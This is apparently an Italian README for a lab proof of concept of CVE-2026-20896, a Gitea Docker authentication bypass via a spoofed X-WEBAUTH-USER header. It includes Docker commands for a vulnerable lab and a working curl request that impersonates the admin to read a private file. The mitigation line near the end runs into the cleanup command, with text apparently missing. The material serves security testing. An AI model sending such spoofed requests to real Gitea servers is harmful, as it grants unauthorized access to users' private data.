
Gitea Docker Image Authentication Bypass
[!WARNING] Utilizza questo PoC solo in un laboratorio locale o contro un sistema che sei esplicitamente autorizzato a testare.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 è un bypass dell'autenticazione nelle immagini Docker ufficiali di Gitea interessate. Quando l'autenticazione tramite reverse-proxy è abilitata, l'impostazione REVERSE_PROXY_TRUSTED_PROXIES = * generata dall'immagine consente a un client che può raggiungere il backend Gitea di impersonare un utente esistente tramite l'header X-WEBAUTH-USER.
Il laboratorio crea un amministratore chiamato gitea-admin con una password casuale e memorizza CVE-2026-20896_AUTH_BYPASS_CONFIRMED nel repository privato gitea-admin/private-proof. La lettura di quel file senza conoscere la password casuale dell'amministratore dimostra il bypass.
| Categoria | Versione |
|---|---|
| Vulnerabile | Immagini Docker ufficiali gitea/gitea ≤ 1.26.2 |
| Prima patch | 1.26.3 |
| Consigliata | 1.26.4 o successiva |
La configurazione vulnerabile richiede che l'autenticazione tramite reverse-proxy sia abilitata e che il backend Gitea sia direttamente raggiungibile, oppure che un proxy a monte preservi l'header di identità fornito dall'attaccante. Un container reverse-proxy non è necessario per questa riproduzione locale.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Attendi alcuni secondi affinché Gitea e il repository di prova privato vengano inizializzati.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Lo sfruttamento riuscito restituisce CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
Lo script confronta le richieste non autenticate, non amministrative e amministrative contraffatte e stampa VULNERABLE quando il bypass dell'autorizzazione viene confermato. Richiede Python 3.10 o successivo e utilizza solo la libreria standard.
REVERSE_PROXY_TRUSTED_PROXIES agli indirizzi proxy attendibili.docker stop cve-2026-20896-gitea-vuln